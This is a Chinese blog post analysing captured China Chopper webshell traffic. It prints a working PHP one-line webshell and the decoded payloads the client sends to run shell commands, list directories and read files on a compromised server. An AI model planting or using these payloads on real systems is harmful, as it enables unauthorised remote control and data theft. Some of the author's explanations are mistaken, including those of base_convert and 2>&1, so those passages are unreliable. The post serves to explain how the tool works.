中国菜刀-分析

时间:2022-07-23
本文章向大家介绍中国菜刀-分析,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

类似前言一样得废话

昨天偶然看到了中国菜刀这个词,突然发现这类软件的工作原理倒是没有好好看过,只看过 pwntools的,所以难得有时间,便开着wireshark搞一手,看看发了什么玩意

首先大体分为两种,一种是读取文件的shell,一种是执行命令的shell

执行命令

菜刀用的方式是这样的

第一个php马->z1[post]->r=z1+z2(拼接语句)
          ->z2[post]
          #z1为/bin/sh
          #z2为执行所需的命令

在第一个php马中,执行php语句,该Php语句因为过狗的关系,其中所需的值是需要通过二次post来传入的

首先在菜刀中,右键选择虚拟终端

先试着运行一个命令 id,然后抓包分析一下

这里为了方便解释,所以贴一下一句话木马,我的参数是-7

<?php eval($_POST[-7]);?>

在第一个包中,找到菜刀发送到服务端的包

首先它传入了第一个参数是 -7,内容是base64,解码后可得

@eval (base64_decode($_POST[z0]));

众所周知,在php中,eval函数,会将括号内的字符串,当作php语句来执行,而菜刀的做法是,在其中又套了一个一句话木马,参数为 z0

然后它传入了第二个参数,参数为 z0,内容为

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c "{$s}"":"/c "{$s}"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"
ret={$ret}
":"";;echo("|<-");die();

内容有点鬼畜,我们挨个分析,首先是开头的三个函数

@iniset("displayerrors","0"); 这个是临时关闭PHP的错误显示

@settimelimit(0); 防止执行命令的时候超时

@setmagicquotes_runtime(0); 关闭魔术引号

然后就是代码部分

$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);

它又套了两个参数z1和z2,需要再次post传输进去

$d=dirname($_SERVER["SCRIPT_FILENAME"]);

$d通过 dirname来获取父目录

首先解释一下 $_SERVER["SCRIPT_FILENAME"],这个函数的是用来读取该文件所在的位置,在这个环境中是 /var/www/html/elapse/file.php

dirname,则可以用来读取父目录

我在上面通过 $_SERVER["SCRIPT_FILENAME"]获取到了文件路径为 /var/www/html/elapse/file.php

那么dirname在读取的时候,得到的结果是 /var/www/html/elapse/

然后将这个结果赋值给d,至于这个d有什么用,是后话了

解析来就是有意思的部分了

$c=substr($d,0,1)=="/"?"-c "{$s}"":"/c "{$s}"";$r="{$p} {$c}";

这里要解释一下在php中?:是什么意思

这个是 三目运算符,看着很高级,其实就是条件运算符,但是为了快捷简单,于是便用这种方法来取代 ifelse

用法如下

<?php
$a>$b ? print "a>b" : "a<b";

#等价于
$if($a>$b){
print"a>b";
}
else{
    print"a<b";
}
?>

回到代码上

$c=substr($d,0,1)=="/"?"-c "{$s}"":"/c "{$s}"";

这里的

substr($d,0,1)=="/"

为条件,如果这个路径的第一位为/,那么这个条件就是true,为真,然后他就会执行 ?后面的东西,然后将执行的语句拼合起来

执行的语句我们看回z2

cd "/var/www/html/elapse/";id;echo [S];pwd;echo [E]

在数据包中,我们还发现了一个z2参数,这个参数是接下来要在对方机器所需要执行的命令,内容如下

cd "/var/www/html/elapse/";id;echo [S];pwd;echo [E]

$d的内容拼接到了cd 后面,然后执行你在虚拟终端中给的命令,接着输出一个 [S]来区分命令,最后,执行pwd,查看当前路径,然后保存下来,供下一条命令cd用,这样就能做到实时切换目录了,不会因为这次操作了,下一次路径又回到之前的

$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"
ret={$ret}

接着就到了执行语句的部分,r的内容为是拼接的,c为执行语句,而

/bin/sh -c cd "/var/www/html/elapse/";id;echo [S];pwd;echo [E]

然后 2>&1将无用的信息丢到垃圾桶里去,接着放到判断里,如果不是空的,那么就赋值过去,如果是空的,那就啥都不输出

总结一下,就是

1.通过一句话木马传入新得php语句
2.通过该php语句传入真正的执行命令的语句
3.传入上一条2的php语句中所需要的参数使其能正常工作,有/bin/sh和cd /var/www/;等命令
4.将执行结果返还给你

查看文件

查看文件的Shell则比执行命令来的简单一些

这里分两个,一个是读取文件夹内容的,一个是读取文件内容的,先说文件夹的

以下为解码的主要内容

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="t".$T."t".@filesize($P)."t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();

首先还是老套路通过 D=base64_decode(_POST["z1"]);来传入一个路径,该路径为你在菜刀中双击选择的路径(或者为默认的文件所在路径)

获取到了之后,通过 F=@opendir(D);来获取文件夹下的文件名,如果路径不存在,那么

if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}

发送报错,提示路径不存在

否则的话就

$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="t".$T."t".@filesize($P)."t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};

通过while循环读取内容,路径怎么来的呢, P=D."/".

后面就很人性化的写出了文件创建、修改的时间

$T=@date("Y-m-d H:i:s",@filemtime($P));

然后通过函数 fileperms返回文件权限

@$E=substr(base_convert(@fileperms($P),10,8),-4);

这里的 substr(x,10,8),-4)的意思是,只显示x内容的前10位,然后只显示8个字符,最后从后往前数4位,最后得到了对应的权限

0644

以及

if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}

对该文件是文件还是文件夹做的判断

最后全部echo出来

菜刀,很细节,好吧

文件读取呢,比较弱智,代码是这样的

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$F=base64_decode($_POST["z1"]);$P=@fopen($F,"r");echo(@fread($P,filesize($F)));@fclose($P);;echo("|<-");die();

就是fopen打开来读取然后关闭,没了